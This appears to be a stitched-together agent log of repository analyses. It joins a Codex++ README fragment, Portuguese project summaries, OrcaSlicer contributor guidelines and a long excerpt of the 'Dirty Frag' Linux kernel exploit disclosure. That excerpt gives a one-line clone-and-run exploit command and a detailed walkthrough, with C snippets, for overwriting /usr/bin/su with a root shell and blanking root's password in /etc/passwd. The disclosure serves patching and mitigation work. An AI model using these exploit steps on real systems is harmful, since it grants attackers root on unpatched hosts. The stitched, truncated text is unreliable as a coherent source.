CDN content. Slow recommendation loading does not mark the backend connection as failed.\n170|\n171|## Updates and Packages\n172|\n173|Codex++ publishes installers through GitHub Releases. Windows builds an NSIS installer, while macOS builds separate Intel x64 and Apple Silicon arm64 DMGs.\n174|\n175|The manager's About page can check and start updates. When the silent launcher finds a new version, it opens the manager directly on the update prompt.\n176|\n177|## Data Locations\n178|\n179|- Codex config: `~/.codex/config.toml`\n180|- Codex auth state: `~/.codex/auth.json`\n181|- Codex local database: `~/.codex/state_5.sqlite`\n182|- Codex++ state and logs: `~/.codex-session-delete/`\n183|- Provider Sync backups: `~/.codex/backups_state/provider-sync`\n184|\n185|## FAQ\n186|\n187|### The Codex++ menu does not appear\n188|\n189|Make sure Codex was launched from the `Codex++` entry instead of the original Codex entry. You can also inspect the Diagnostics and Logs pages in the manager.\n190|\n191|### The plugin says the backend is disconnected\n192|\n193|First test the helper endpoint:\n194|\n195|```powershell\n196|Invoke-RestMethod -Method Post -Uri http://127.0.0.1:57321/backend/status -Body \"{}\" -ContentType \"application/json\"\n197|```\n198|\n199|If the endpoint works but the plugin still times out, it is usually a Codex page CDP bridge or script cache issue. Restart Codex++, or check manager logs for `renderer.script_loaded`, `bridge.request`, and `bridge.response`.\n200|\n201|### How is Upstream worktree different from Codex native creation?\n202|\n203|Codex++ updates the remote branch first, then creates the worktree as if you ran:\n204|\n205|```bash\n206|git worktree add -b <new-branch> <worktree-path> upstream/<base-branch>\n207|```\n208|\n209|The new worktree starts from the fresh remote tracking branch instead of the local HEAD used by the current session. If Codex++ cannot safely recognize the current Codex version's native worktree form, use the Codex++ menu entry and enter the repository path, branch name, worktree path, remote, and base branch manually.\n210|\n211|### macOS says the app cannot be opened or is damaged\n212|\n213|Unsigned and unnotarized builds may be blocked by Gatekeeper. Allow the app in System Settings -> Privacy & Security. For formal distribution, configure Apple Developer ID signing and notarization.\n214|\n215|### Does it support Intel Macs?\n216|\n217|Yes. Releases provide both `macos-x64.dmg` and `macos-arm64.dmg`. Intel Macs should use the x64 package, while Apple Silicon Macs should use the arm64 package.\n218|\n219|## Development\n220|\n221|```bash\n222|# Frontend checks\n223|cd apps/codex-plus-manager\n224|npm install\n225|npm run check\n226|npm run vite:build\n227|\n228|# Rust checks\n229|cd ../..\n230|cargo fmt --check\n231|cargo test\n232|cargo build --release\n233|```\n234|\n235|Project structure:\n236|\n237|```text\n238|apps/\n239|  codex-plus-launcher/          Silent launcher\n240|  codex-plus-manager/           Tauri manager\n241|assets/inject/\n242|  renderer-inject.js            Enhancement script injected into Codex\n243|crates/\n244|  codex-plus-core/              Launch, injection, config, update, install, bridge\n245|  codex-plus-data/              Session data, export, Provider Sync\n246|scripts/installer/\n247|  windows/CodexPlusPlus.nsi     Windows NSIS installer\n248|  macos/package-dmg.sh          macOS DMG packager\n249|```\n250|\n251|## Community and Support\n252|\n253|Scan the QR code to join the Codex++ discussion group, report issues, share usage notes, or suggest features:\n254|\n255|<img src=\"docs/images/discussion-group-qr.jpg\" alt=\"Codex++ discussion group QR code\" width=\"260\">\n256|\n257|If Codex++ has helped you, you can buy me a coffee or send a small tip to support continued maintenance.\n258|\n259|<p align=\"center\">\n260|  <img src=\"docs/images/sponsor-alipay.jpg\" alt=\"Alipay sponsor QR code\" width=\"220\">\n261|  <img src=\"docs/images/sponsor-wechat.jpg\" alt=\"WeChat sponsor QR code\" width=\"220\">\n262|</p>\n263|\n264|## Friendly Links\n265|\n266|- [LINUX DO](https://linux.do)\n267|\n268|## Notes\n269|\n270|Codex++ is an external enhancement tool and does not modify original Codex App files.

  ## Análise do Repositório: BigPizzaV3/CodexPlusPlus

  ### Problema que resolve
  O **Codex++** resolve o problema de aprimorar o aplicativo **Codex** (assistente de IA da OpenAI) sem modificar seus arquivos originais. Ele funciona como um *launcher* e gerenciador externo que injeta funcionalidades via **Chromium DevTools Protocol (CDP)**, permitindo desbloqueio de plugins, gerenciamento de sessões, injeção de scripts personalizados, relay de API e mais — sem *patching* de `app.asar` ou escrita de DLLs na instalação original.

  O produto oferece dois fluxos principais:
  - **Launcher silencioso** (`Codex++`): inicia o Codex já com as injeções aplicadas, sem interface.
  - **Manager** (`Codex++ Manager`): painel de controle Tauri para configurar injeções, relays, atualizações e diagnósticos.

  ---

  ### Tema principal de atuação
  Ferramenta de **desenvolvimento e produtividade** voltada para **aprimoramento de assistentes de código com IA (Codex/Claude Code/Gemini)**. Atua na intersecção entre desktop apps, injeção de scripts em browsers e gerenciamento de credenciais/relays de API.

  ---

  ### Razão do hype/tendência
  - **Abordagem não invasiva**: não altera o app original, o que reduz risco de quebra por atualizações e evita problemas de segurança/modificação de binários.
  - **Híbrido Rust + Tauri + React**: performance do Rust com interface desktop moderna e multiplataforma.
  - **Relay injection único**: permite manter login oficial do ChatGPT enquanto redireciona requisições para APIs compatíveis customizadas (útil para acessar modelos com custo reduzido ou em regiões com restrições).
  - **Ecossistema de " unlocks "**: desbloqueia plugins, exportação de sessões, Timeline, scripts de usuário e funcionalidades que o Codex original limita.
  - **Cross-platform**: Windows (NSIS installer) e macOS (DMG separado para x64/arm64).
  - **Comunidade ativa e patrocinada**: múltiplos patrocinadores de relay, grupo de discussão e ~8.9k stars no GitHub.

  ---

  ### Tecnologias envolvidas
  | Camada | Tecnologias |
  |--------|-------------|
  | **Backend** | Rust (edition 2024), Tokio (async), reqwest (HTTP com rustls), tokio-tungstenite (WebSocket) |
  | **Desktop App** | Tauri 2.x + React |
  | **Injeção** | Chromium DevTools Protocol (CDP), JavaScript (renderer-inject.js) |
  | **Dados** | SQLite (rusqlite), TOML (config), JSON |
  | **Empacotamento** | NSIS (Windows), DMG scripts (macOS), winresource |
  | **CI/CD** | GitHub Actions (implícito por release badges e estrutura .github) |
  | **Dependências notáveis** | `directories`, `fs2`, `toml_edit`, `tempfile`, `uuid`, `base64` |

  ---

  ### Estrutura observada
  - `apps/`: launcher silencioso e manager Tauri
  - `crates/`: núcleo (`codex-plus-core`) e dados/sessões (`codex-plus-data`)
  - `assets/inject/`: script de injeção no renderer
  - `scripts/installer/`: empacotamento Windows/macOS

  # Repository Guidelines

  ## Project Structure & Module Organization
  OrcaSlicer’s C++17 sources live in `src/`, split by feature modules and platform adapters. User assets, icons, and printer presets are in `resources/`; translations stay in `localization/`. Tests sit in `tests/`, grouped by domain (`libslic3r/`, `sla_print/`, etc.) with fixtures under `tests/data/`. CMake helpers reside in `cmake/`, and longer references in `doc/` and `SoftFever_doc/`. Automation scripts belong in `scripts/` and `tools/`. Treat everything in `deps/` and `deps_src/` as vendored snapshots—do not modify without mirroring upstream tags.

  ## Build, Test, and Development Commands
  Use out-of-source builds:
  - `cmake -S . -B build -DCMAKE_BUILD_TYPE=Release` configures dependencies and generates build files.
  - `cmake --build build --target OrcaSlicer --config Release` compiles the app; add `--parallel` to speed up.
  - `cmake --build build --target tests` then `ctest --test-dir build --output-on-failure` runs automated suites.
  Platform helpers such as `build_linux.sh`, `build_release_macos.sh`, and `build_release_vs2022.bat` wrap the same flow with toolchain flags. Use `build_release_macos.sh -sx` when reproducing macOS build issues, and `scripts/DockerBuild.sh` for reproducible container builds.

  ## Coding Style & Naming Conventions
  `.clang-format` enforces 4-space indents, a 140-column limit, aligned initializers, and brace wrapping for classes and functions. Run `clang-format -i <file>` before committing; the CMake `clang-format` target is available when LLVM tools are on your PATH. Prefer `CamelCase` for classes, `snake_case` for functions and locals, and `SCREAMING_CASE` for constants, matching conventions in `src/`. Keep headers self-contained and align include order with the IWYU pragmas.

  ## Testing Guidelines
  Unit tests rely on Catch2 (`tests/catch2/`). Name specs after the component under test—for example `tests/libslic3r/TestPlanarHole.cpp`—and tag long-running cases so `ctest -L fast` remains useful. Cover new algorithms with deterministic fixtures or sample G-code stored in `tests/data/`. Document manual printer validation or regression slicer checks in your PR when automated coverage is insufficient.

  ## Commit & Pull Request Guidelines
  The history favors concise, sentence-style subject lines with optional issue references, e.g., `Fix grid lines origin for multiple plates (#10724)`. Squash fixups locally before opening a PR. Complete `.github/pull_request_template.md`, include reproduction steps or screenshots for UI changes, and mention impacted presets or translations. Link issues via `Closes #NNNN` when applicable, and call out dependency bumps or profile migrations for maintainer review.

  ## Security & Configuration Tips
  Follow `SECURITY.md` for vulnerability reporting. Keep API tokens and printer credentials out of tracked configs; use `sandboxes/` for experimental settings. When touching third-party code in `deps_src/`, record the upstream commit or release in your PR description and run the relevant platform build script to confirm integration. terminal

  Análise concluída.

  - Problema que resolve: Restaura suporte BambuNetwork completo (Wi‑Fi) para impressoras Bambu Lab, que havia sido removido ou quebrado em certas versões, e não apenas restringe a impressão via LAN local.
  - Tema principal de atuação: *Slicer* 3D (pré-processamento/geração de G‑code) e controle de impressão 3D, com ênfase na integração com impressoras Bambu Lab.
  - Razão do hype/tendência: A comunidade Bambu Lab valoriza preservar recursos de nuvem e rede da marca — esse fork reintroduz funcionalidade perdida, gerando alto interesse.
  - Tecnologias envolvidas: C++17, CMake, wxWidgets, OpenGL, Boost, TBB, FFMPEG, OpenVDB, CGAL, Embree (renderização de preview), além de bibliotecas de geometria/processamento de malha.

  Ferramentas/arquivos significativos observados: `src/` (core), `tests/`, `scripts/`, muito código C++ e dependências em `deps/`.

Because it is a deterministic logic bug that does not depend on a timing window, no race condition is required, the kernel does not panic when the exploit fails, and the success rate is very high.\n14|\n15|For detailed technical information and the timeline, [see here](assets/write-up.md).\n16|\n17|- `xfrm-ESP Page-Cache Write (CVE-2026-43284)` was patched in mainline [f4c50a4034e6](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4).\n18|- `RxRPC Page-Cache Write (CVE-2026-43500)` was patched in mainline [aa54b1d27fe0](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=aa54b1d27fe0c2b78e664a34fd0fdf7cd1960d71).\n19|\n20|> [!NOTE]\n21|> At the time this document was first made public (2026-05-07), the embargo had been broken due to external factors, so no patch or CVE existed yet. After consultation with the maintainers on linux-distros@vs.openwall.org at that time, the Dirty Frag document was published at their request. For the disclosure timeline, refer to the technical details.\n22|\n23|# Exploiting\n24|\n25|## One-line special\n26|\n27|```\n28|git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp\n29|```\n30|\n31|This PoC is provided as accurate information following consultation with linux-distros. Do not use it on systems that you are not authorized to test.\n32|\n33|## Cleanup\n34|\n35|⚠️  **Important:** After running this exploit, the page cache is contaminated. To clear the polluted page cache and ensure system stability, either run:\n36|\n37|```bash\n38|echo 3 > /proc/sys/vm/drop_caches\n39|```\n40|\n41|or reboot the system.\n42|\n43|# Affected Versions\n44|\n45|- **CVE-2026-43284**: xfrm-ESP Page-Cache Write vulnerability is in scope from [cac2661c53f3 (2017-01-17)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=cac2661c53f3) up to [f4c50a4034e6 (2026-05-05)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4).\n46|- **CVE-2026-43500**: RxRPC Page-Cache Write vulnerability is in scope from [2dc334f1a63a (2023-06-08)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=2dc334f1a63a) up to [aa54b1d27fe0 (2026-05-10)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=aa54b1d27fe0c2b78e664a34fd0fdf7cd1960d71).\n47|\n48|In other words, the effective lifetime of the vulnerabilities is about 9 years.\n49|\n50|This Dirty Frag has been tested on the following distribution versions.\n51|\n52|- Ubuntu 24.04.4: 6.17.0-23-generic\n53|- RHEL 10.1: 6.12.0-124.49.1.el10_1.x86_64\n54|- openSUSE Tumbleweed: 7.0.2-1-default\n55|- CentOS Stream 10: 6.12.0-224.el10.x86_64\n56|- AlmaLinux 10: 6.12.0-124.52.3.el10_1.x86_64\n57|- Fedora 44: 6.19.14-300.fc44.x86_64\n58|- ...\n59|\n60|# Mitigation\n61|\n62|1. Use the following command to remove the modules in which the vulnerabilities occur and clear the page cache.\n63|```bash\n64|sh -c \"printf 'install esp4 /bin/false\\ninstall esp6 /bin/false\\ninstall rxrpc /bin/false\\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true\"\n65|```\n66|\n67|2. Once each distribution backports a patch, update accordingly.\n68|\n69|# FAQ\n70|\n71|## Why did you chain two vulnerabilities?\n72|\n73|xfrm-ESP Page-Cache Write provides a powerful arbitrary 4-byte STORE primitive like Copy Fail, and is included on most distributions, but it requires the privilege to create a namespace. \n74|\n75|Ubuntu sometimes blocks unprivileged user namespace creation through AppArmor policy. In such an environment, xfrm-ESP Page-Cache Write cannot be triggered. RxRPC Page-Cache Write does not require the privilege to create a namespace, but the `rxrpc.ko` module itself is not included in most distributions. However, on Ubuntu, the `rxrpc.ko` module is loaded by default. \n76|\n77|Chaining the two variants makes the blind spots cover each other, allowing root privileges to be obtained on every major distribution. For details, refer to the technical details document.\n78|\n79|## Another \"branded\" \"Dirty\" series?\n80|\n81|Yeah, yeah, I know. However, this vulnerability is a descendant of \"Dirty Pipe\", and it is a bug class that \"dirties\" the `frag` member of `struct sk_buff`, so this name is the most appropriate.\n82|\n83|## What is its relationship with the \"Copy Fail\" vulnerability?\n84|\n85|Copy Fail was the motivation for starting this research. In particular, xfrm-ESP Page-Cache Write in the Dirty Frag vulnerability chain shares the same sink as Copy Fail. However, it is triggered regardless of whether the algif_aead module is available. In other words, even on systems where the publicly known Copy Fail mitigation (algif_aead blacklist) is applied, your Linux is still vulnerable to Dirty Frag.\n86|\n87|## So, how do I fix my Linux?\n88|\n89|Refer to the Mitigation section above.\n90|", "total_lines": 89, "file_size": 5364, "truncated": false, "is_binary": false, "is_image": false} read_file

As a result, the page cache of files that an unprivileged user only has read access to (such as `/etc/passwd` or `/usr/bin/su`) is modified in RAM, and every subsequent read sees the modified copy.\n17|\n18|This article analyzes the root cause and the exploit flow of the two vulnerabilities, and then explains how chaining covers the blind spots of the two vulnerabilities.\n19|\n20|# Background\n21|\n22|Dirty Frag belongs to the same class as [Dirty Pipe](https://dirtypipe.cm4all.com/) and [Copy Fail](https://copy.fail/). However, while Dirty Pipe overwrites `struct pipe_buffer`, Dirty Frag overwrites the `frag` of `struct sk_buff`.\n23|\n24|In Copy Fail, the attacker uses `splice(file -> pipe -> AF_ALG_fd)` to plant an attacker-pinned page cache page into the TX SGL. Inside `recv()`, the last 4 bytes (tag) of the TX SGL are detached into `areq->tsgl` and chained to the end of the RX SGL via `sg_chain`. The `aead_request_set_crypt(req, src=RX, dst=RX)` call decides in-place mode, and `scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1)` performs a scratch write of 4 bytes of `seqno_lo` to the end of dst as part of byte rearrangement. On a normal IPsec path, that location is the skb's tag area, so the write is harmless. However, when an attacker-pinned page is placed at that location, the assumption breaks.\n25|\n26|Dirty Frag is a vulnerability where the same pattern is reproduced on top of the frag of a nonlinear skb that originated from splice.\n27|\n28|- xfrm-ESP Page-Cache Write: `esp_input` bypasses `skb_cow_data` and runs `crypto_authenc_esn_decrypt` directly on top of the frag.\n29|- RxRPC Page-Cache Write: `rxkad_verify_packet_1` performs an in-place single-block decrypt with `pcbc(fcrypt)` on top of the frag.\n30|\n31|Note that Dirty Frag can be triggered regardless of whether the `algif_aead` module is available. In other words, even on systems where the publicly known Copy Fail mitigation (algif_aead blacklist) is applied, your Linux is still vulnerable to Dirty Frag.\n32|\n33|# CVE-2026-43284: xfrm-ESP Page-Cache Write\n34|\n35|## Root Cause\n36|\n37|Before performing in-place AEAD decryption on the ESP payload, `esp_input()` should allocate a new kernel-private buffer with `skb_cow_data()` when the skb is non-linear, copy the frag data into it, and then perform the in-place operation. However, the following branch creates a path that bypasses that cow.\n38|\n39|```c\n40|static int esp_input(struct xfrm_state *x, struct sk_buff *skb)\n41|{\n42|        [...]\n43|\n44|        if (!skb_cloned(skb)) {\n45|                if (!skb_is_nonlinear(skb)) {    // <=[1]\n46|                        nfrags = 1;\n47|\n48|                        goto skip_cow;\n49|                } else if (!skb_has_frag_list(skb)) {\n50|                        nfrags = skb_shinfo(skb)->nr_frags;\n51|                        nfrags++;\n52|\n53|                        goto skip_cow;           // <=[2]\n54|                }\n55|        }\n56|\n57|        err = skb_cow_data(skb, 0, &trailer);\n58|\n59|        [...]\n60|```\n61|\n62|At `[1]`, even when the skb has a frag, if `frag_list` is absent the code jumps directly to `[2]` and performs in-place crypto on top of the frag. If the attacker has pinned a page cache page into the frag through `splice`, that page becomes both `src` and `dst`.\n63|\n64|The issue is not in-place crypto itself, but the fact that in-place crypto causes a STORE. With the ESP + ESN + `authencesn(...)` combination, `crypto_authenc_esn_decrypt()` performs the following STORE during the preprocessing step that moves the high-order 4 bytes of the sequence number to the end of the src SGL.\n65|\n66|```c\n67|static int crypto_authenc_esn_decrypt(struct aead_request *req)\n68|{\n69|        [...]\n70|\n71|        /* Move high-order bits of sequence number to the end. */\n72|        scatterwalk_map_and_copy(tmp, src, 0, 8, 0);\n73|        if (src == dst) {\n74|                scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);\n75|                scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);   // <=[3]\n76|                dst = scatterwalk_ffwd(areq_ctx->dst, dst, 4);\n77|        [...]\n78|```\n79|\n80|The 4-byte STORE at `[3]` happens at the `assoclen + cryptlen` position of the dst SGL. If the attacker tunes the payload length so that page P, planted via splice, occupies that position, the 4 bytes are STOREd at exactly the desired file offset of page P.\n81|\n82|The value of these 4 bytes is the data pointed to by `tmp + 1`, that is, the high-order 32 bits of the sequence number in the ESP header. Tracing where this value comes from, `esp_input_set_header()` simply copies the SA's `XFRM_SKB_CB(skb)->seq.input.hi` into place, and that value is `replay_esn->seq_hi`, which the user freely specified at SA registration time via the `XFRMA_REPLAY_ESN_VAL` netlink attribute.\n83|\n84|```c\n85|static void esp_input_set_header(struct sk_buff *skb, __be32 *seqhi)\n86|{\n87|        struct xfrm_state *x = xfrm_input_state(skb);\n88|        struct ip_esp_hdr *esph;\n89|\n90|        /* For ESN we move the header forward by 4 bytes to\n91|         * accommodate the high bits.  We will move it back after\n92|         * decryption.\n93|         */\n94|        if ((x->props.flags & XFRM_STATE_ESN)) {\n95|                esph = skb_push(skb, 4);\n96|                *seqhi = esph->spi;\n97|                esph->spi = esph->seq_no;\n98|                esph->seq_no = XFRM_SKB_CB(skb)->seq.input.hi;\n99|        }\n100|}\n101|```\n102|\n103|Therefore, the attacker can control both the location (file offset) and the value (4 bytes) of the STORE. AEAD authentication verification runs after the STORE, so even when authentication fails the STORE has already happened and the page cache modification persists permanently. In other words, the attacker succeeds in modification without knowing the SA's authentication key.\n104|\n105|In addition, for `esp_input` to be invoked, an XFRM SA must be registered, which requires `CAP_NET_ADMIN`. That means the attacker needs the privilege to create a user namespace.\n106|\n107|## Exploit\n108|\n109|The target is `/usr/bin/su`. The first 192 bytes (starting from file offset 0) of the page cache of `/usr/bin/su`, whose setuid-root bit is intact, are entirely replaced with a static root-shell ELF. The new ELF maps `0xb8` bytes at vaddr `0x400000` as R+X via PT_LOAD, and at the entry point `0x400078` (file offset `0x78`) it runs `setgid(0); setuid(0); setgroups(0,NULL); execve(\"/bin/sh\", NULL, [\"TERM=xterm\",NULL])`. The PAM flow is bypassed entirely, and a single `execve(\"/usr/bin/su\")` is enough to obtain a root shell. The 192 bytes are split into 48 chunks of 4 bytes each, and they are written via the 4-byte arbitrary STORE primitive of the ESP variant.\n110|\n111|XFRM SA registration requires `CAP_NET_ADMIN`, so the child process is isolated inside a new user/net namespace via `unshare(CLONE_NEWUSER | CLONE_NEWNET)` and gains root inside that namespace. The mapping uses an identity mapping (`0 <real_uid> 1`), and `lo` of the new netns is brought UP via `ioctl(SIOCSIFFLAGS)`.\n112|\n113|```c\n114|unshare(CLONE_NEWUSER | CLONE_NEWNET);\n115|write_proc(\"/proc/self/setgroups\", \"deny\");\n116|write_proc(\"/proc/self/uid_map\", \"0 <real_uid> 1\");\n117|write_proc(\"/proc/self/gid_map\", \"0 <real_gid> 1\");\n118|ioctl(s, SIOCSIFFLAGS, &(struct ifreq){ .ifr_name=\"lo\",\n119|                                        .ifr_flags=IFF_UP|IFF_RUNNING });\n120|```\n121|\n122|Next, 48 chunks worth of XFRM SAs are registered at once. Each SA has a separate SPI (`0xDEADBE10 + i`), and the 4 bytes (`= shellcode[i*4..(i+1)*4]`) placed in `XFRMA_REPLAY_ESN_VAL.seq_hi` are exactly the value that will be STOREd into the page cache. The body of the SA is filled with `XFRM_MODE_TRANSPORT + XFRM_STATE_ESN`, the algorithm `authencesn(hmac(sha256), cbc(aes))`, UDP-encap (sport=dport=4500), the replay state `{bmp_len=1, seq=100, replay_window=32}`, and src/daddr `127.0.0.1`. The HMAC key (32 bytes) and the cipher key (16 bytes) are arbitrary values, since the authentication and decryption verification will fail anyway.\n123|\n124|```c\n125|struct xfrm_replay_state_esn esn = {\n126|    .bmp_len = 1, .seq = 100, .replay_window = 32,\n127|    .seq_hi = patch_seqhi,        /* The 4 bytes that will be STOREd */\n128|};\n129|put_attr(nlh, XFRMA_REPLAY_ESN_VAL, &esn, sizeof(esn) + 4);\n130|```\n131|\n132|Each chunk's trigger uses a freshly created pair of sk_recv (`bind 127.0.0.1:4500` + `setsockopt(SOL_UDP, UDP_ENCAP, UDP_ENCAP_ESPINUDP)`) and sk_send (`connect 127.0.0.1:4500`). UDP packets that arrive on sk_recv (which has `UDP_ENCAP_ESPINUDP` set) are not dispatched to the regular UDP queue inside `udp_queue_rcv_one_skb` but are routed to `xfrm4_udp_encap_rcv -> xfrm_input -> esp_input` instead. The body of the trigger registers a forged ESP wire header (SPI 4 + seq_no_lo 4 + IV 16 = 24 bytes, with the IV filled with `0xCC`) into a pipe with `vmsplice`, then registers 16 bytes from file offset `i*4` of `/usr/bin/su` into the next pipe slot via `splice`, and finally sends `pipe -> sk_send` through a single `splice` call. With `splice_to_socket()` automatically setting `MSG_SPLICE_PAGES`, the page cache page P of `/usr/bin/su` is planted as is into `frag[0]` of the sender skb.\n133|\n134|```c\n135|uint8_t hdr[24];\n136|*(uint32_t *)(hdr + 0) = htonl(spi);          /* per-chunk SPI */\n137|*(uint32_t *)(hdr + 4) = htonl(SEQ_VAL);      /* wire seq_no_lo */\n138|memset(hdr + 8, 0xCC, 16);                    /* IV (value irrelevant) */\n139|\n140|vmsplice(pfd[1], &(struct iovec){hdr, 24}, 1, 0);\n141|splice(file_fd, &(off_t){i*4}, pfd[1], NULL, 16, SPLICE_F_MOVE);\n142|splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE);\n143|```\n144|\n145|The sender skb is RX'd over loopback in the following shape.\n146|\n147|```\n148|skb {\n149|    head/linear: ESP_hdr(8) + IV(16)               // 24 byte\n150|    frags[0]:    { page=&P, off=i*4, size=16 }     // page cache page of /usr/bin/su\n151|}\n152|```\n153|\n154|The receiver side branch is as follows.\n155|\n156|```\n157|udp_rcv(skb) \n158|  xfrm4_udp_encap_rcv(sk, skb)\n159|    xfrm_input(skb, IPPROTO_ESP, spi, 0)\n160|      esp_input(x, skb) \n161|        pskb_may_pull(skb, sizeof(esp_hdr) + ivlen) \n162|        if (!skb_cloned(skb) && !skb_has_frag_list(skb))      // Vulnerable branch: frag(page=P) preserved\n163|          goto skip_cow;\n164|        esp_input_set_header(skb, seqhi)\n165|          skb_push(skb, 4);\n166|          esph->seq_no = XFRM_SKB_CB(skb)->seq.input.hi;\n167|        skb_to_sgvec(skb, sg, 0, skb->len)\n168|        aead_request_set_crypt(req, sg, sg, elen+ivlen, iv)\n169|        crypto_aead_decrypt(req)\n170|          crypto_authenc_esn_decrypt(req)\n171|            scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, /*out=*/1)\n172|              memcpy(page_address(P) + i*4, &tmp[1], 4);      // 4 byte STORE: page P[i*4..i*4+3] = patch_seqhi\n173|```\n174|\n175|A single call STOREs exactly 4 bytes at file offset `i*4`.

There is no need for lock-stepping, so the operation is deterministic, and once a page cache has been STOREd it is preserved until `drop_caches` or reboot. When the parent process (init userns) execs `/usr/bin/su -` along with a PTY, the modified copy is mapped into the new process.

Since `skb_to_sgvec()` converts the skb's frag directly into the SGL, page cache page P that the attacker pinned into the frag via `splice` becomes the src/dst SGL as is. At `[5]`, an 8-byte STORE happens on top of P.\n287|\n288|The difference from xfrm-ESP Page-Cache Write is that the value of the STORE is not the 4 bytes that the attacker controls directly, but 8 bytes that have gone through the cipher function once with the attacker's key K. Since the IV is 0 and the block is single, `pcbc_decrypt(C, K, IV=0)` is equivalent to a single `fcrypt_decrypt(C, K)`. In other words, the 8 bytes that get STOREd are the result of `fcrypt_decrypt(C, K)`, and the attacker can keep changing K and brute force in user-space until the desired 8-byte plaintext drops out.\n289|\n290|`fcrypt` is an Andrew File System dedicated cipher with a 56-bit key and an 8-byte block. Because it is a deterministic function, it can be ported to user-space.\n291|\n292|The K used by the cipher tfm comes from the session_key field of an RxRPC v1 token registered via `add_key(\"rxrpc\", desc, payload, ..., KEY_SPEC_PROCESS_KEYRING)`. Registering an RxRPC key requires no privilege, so an unprivileged user can freely control K.\n293|\n294|Unlike xfrm-ESP Page-Cache Write, this vulnerability can be triggered without the privilege to create a user namespace.\n295|\n296|## Exploit\n297|\n298|Unlike the ESP variant, which directly STOREs an arbitrary 4 bytes into the page cache via the SA's `seq_hi`, the STORE value of the RxRPC variant is `fcrypt_decrypt(C, K)`, the result of running the cipher function once with the key K placed by the attacker, and the attacker cannot choose it directly. To plant a desired 8 bytes, K such that this value drops out has to be brute forced in user-space, and the cost grows exponentially with the number of constrained plaintext bytes (when all 8 bytes are constrained, the key space reaches `~2⁵⁶`, which is practically infeasible). For that reason, the ESP-style approach of writing a static 192-byte ELF as a whole into the `/usr/bin/su` page cache is impractical, and instead a target with very few bytes that need to be decided must be chosen.\n299|\n300|The target of this variant is line 1 (the root entry) of `/etc/passwd`. The normal line starts with `\"root:x:0:0:root:/root:/bin/bash\"`, and the exploit replaces chars 4..15 with last-write-wins into the shape `\"::0:0:GGGGGG:\"`, making the final line 1 `\"root::0:0:GGGGGG:/root:/bin/bash\"`. That is, the passwd field becomes an empty string, and `pam_unix.so nullok` of PAM common-auth accepts this and returns `PAM_SUCCESS` without a prompt. Only 12 bytes (chars 4..15) need to be decided, and among them the 5 bytes at chars 10..14 only carry the weak constraint of \"anything other than colon, newline, or null\", so the brute force cost falls into a realistic range. Since one 8-byte STORE alone cannot easily reshape line 1, the design uses last-write-wins across three positions.\n301|\n302|```\n303|file offset:  0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ...\n304|original:     r o o t : x : 0 : 0  :  r  o  o  t  :  ...\n305|\n306|splice A @ 4, 8B → 4..11 = P_A[0..7]   want chars 4..5 = \"::\"\n307|splice B @ 6, 8B → 6..13 = P_B[0..7]   want chars 6..7 = \"0:\"  (overwrites chars 6..11)\n308|splice C @ 8, 8B → 8..15 = P_C[0..7]   want chars 8..9 = \"0:\" / 15 = \":\" /\n309|                                            10..14 ≠ ':' '\\\\0' '\\\\n'\n310|→ \"root::0:0:GGGGGG:...\"\n311|```\n312|\n313|Each 8-byte STORE is `fcrypt_decrypt(C, K)`. `pcbc(fcrypt)` reduces to a single fcrypt decrypt at single block + IV=0, where `C` is the 8-byte ciphertext that actually exists at that position right before the STORE, and `K` is the 8-byte session_key that we plant in the RxRPC key. Therefore, by rotating `K` in user-space, the exploit brute forces until `fcrypt_decrypt(C, K)` produces the desired plaintext pattern.\n314|\n315|The exploit opens `/etc/passwd` RO and pins the first page with mmap. After reading the ciphertexts `Ca`/`Cb`/`Cc` at file offsets 4/6/8 with `pread`, it searches for K_A/K_B/K_C using a user-space port of kernel `crypto/fcrypt.c` (~18 M/s; about ~5 ms each for K_A/K_B and ~1 s for K_C). The key point is that, after splice A is applied, the ciphertext that splice B sees is no longer the original. Because splice A has already replaced file offset 4..11 with P_A, the first 6 bytes of the 8 bytes that splice B sees at 6..13 are `P_A[2..7]`, and only the last 2 bytes are the original `C_b[6..7]`. By the same logic, the ciphertext that splice C sees is `P_B[2..7] || C_c[6..7]`. This chained-ciphertext correction must be reflected in the brute force step so that, after the actual STORE, line 1 lands in the intended shape.\n316|\n317|```c\n318|find_K(Ca, /*pred*/ check_pa, &Ka, &Pa);                    /* \"::\"  */\n319|memcpy(Cb_actual, Pa+2, 6); memcpy(Cb_actual+6, Cb+6, 2);\n320|find_K(Cb_actual, check_pb, &Kb, &Pb);                      /* \"0:\"  */\n321|memcpy(Cc_actual, Pb+2, 6); memcpy(Cc_actual+6, Cc+6, 2);\n322|find_K(Cc_actual, check_pc, &Kc, &Pc);                      /* \"0:GGGGGG:\" */\n323|```\n324|\n325|Once K_A/K_B/K_C are determined, a kernel trigger is run once at each of the three positions in turn. First, a single dummy `socket(AF_RXRPC, ...)` autoloads `rxrpc.ko` (thanks to `MODULE_ALIAS_NETPROTO(PF_RXRPC)`). For each trigger, with a separate description (`\"evil0\"`, `\"evil1\"`, `\"evil2\"`), an RxRPC v1 token (XDR, sec_ix=2 RXKAD, 8 bytes K placed in the session_key slot) is built and `add_key(\"rxrpc\", desc, ..., KEY_SPEC_PROCESS_KEYRING)` is called.\n326|\n327|```c\n328|build_rxrpc_v1_token(buf, K);   /* session_key=K */\n329|syscall(SYS_add_key, \"rxrpc\", desc, buf, n, KEY_SPEC_PROCESS_KEYRING);\n330|```\n331|\n332|Next, a pair of 